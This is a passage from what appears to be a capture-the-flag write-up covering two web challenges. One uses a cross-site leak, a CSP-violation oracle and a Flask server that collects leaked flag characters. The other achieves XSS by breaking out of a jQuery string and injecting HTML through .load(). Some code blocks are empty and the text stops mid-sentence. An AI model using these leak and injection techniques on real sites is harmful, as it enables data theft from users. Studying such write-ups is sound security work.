This can be extended to the following PoC, which brute-forces a character of the flag. ```markup ``` Because this PoC only tells us what is definitely *not* the flag (by detecting the `w.origin` errors), we can implement a backend server to quickly find what *is* the flag by eliminating the unsuccessful queries from the charset. ```python from flask import Flask, request app = Flask(__name__) CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" chars = [] @app.route('/', methods=['GET']) def index(): global chars nope = request.args.get('nope', '') if nope: chars.append(nope) remaining = [c for c in CHARSET if c not in chars] print("Remaining: {}".format(remaining)) return "OK" @app.route('/exploit.html', methods=['GET']) def exploit(): return open('exploit.html', 'r').read() if __name__ == '__main__': app.run(host='0.0.0.0', port=1337) ``` The downside of this method is that the long URLs can cause significant lag on the server's admin bot. This *may or may not* have made the bot extremely unstable for a period of time... oops! ## Intended Solution — CSP Violation It turns out that there is a much faster and less laggy way of detecting the redirects. Because the redirect is to a different origin, we can use [CSP violations](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) as an oracle. ```markup
``` Because the query was successful, the window attempted to load `http://results.wtl.pw`. But since our CSP dictates that forms can only be submitted to `http://secrets.wtl.pw`, the request was blocked. We can detect this through the `securitypolicyviolation` event listener.
# Hades jQuery-facilitated XSS ## Overview > Don't stop retrying! This is basically a site that uses jQuery a bunch of AJAX requests to dynamically load the page content. For example, let's load the "news" category at `?cat=news`.
Observing the HTML response, the `news` string is reflected twice in the JavaScript. ```markup ``` Trying to use a single quote to break out of the string (`/?cat=news'`) doesn't work - a `\` is prepended to it. ```javascript $('#ajax-load').load('/ajax/articles?cat=news\''); ``` After doing some testing, I found that the `\` character isn't escaped and `/?cat=news\\'` breaks out of the string. However, because any `()` characters are removed and subsequent quotes are still escaped, I couldn't produce valid JavaScript after breaking out of the string. ```javascript $('#ajax-load').load('/ajax/articles?cat=test\\'+alert``'); $('.search-filter ul li.tag').removeClass('active'); $('.search-filter ul li[data-id="test\\'+alert``"]').addClass('active'); ``` It seems that we need to find another way to achieve XSS. ## Getting XSS The first line of the JavaScript tells jQuery to fetch `/ajax/articles?cat=news` and set its contents as the HTML of the `#ajax-load` element. ```javascript $('#ajax-load').load('/ajax/articles?cat=news'); ``` Because we also control the `cat` parameter in this second request, we can try to find a HTML injection vector in `/ajax/articles` and inject it into `#ajax-load`. The following request ``` /ajax/articles?cat=asdf"x=" ``` injects an attribute into the `` element in the response. ```markup ``` Looking at jQuery's [`.load()` documentation](https://api.jquery.com/load/), we find an interesting feature that allows us to specify a specific portion of the remote document that we want to insert.
This allows us to get rid of the pesky `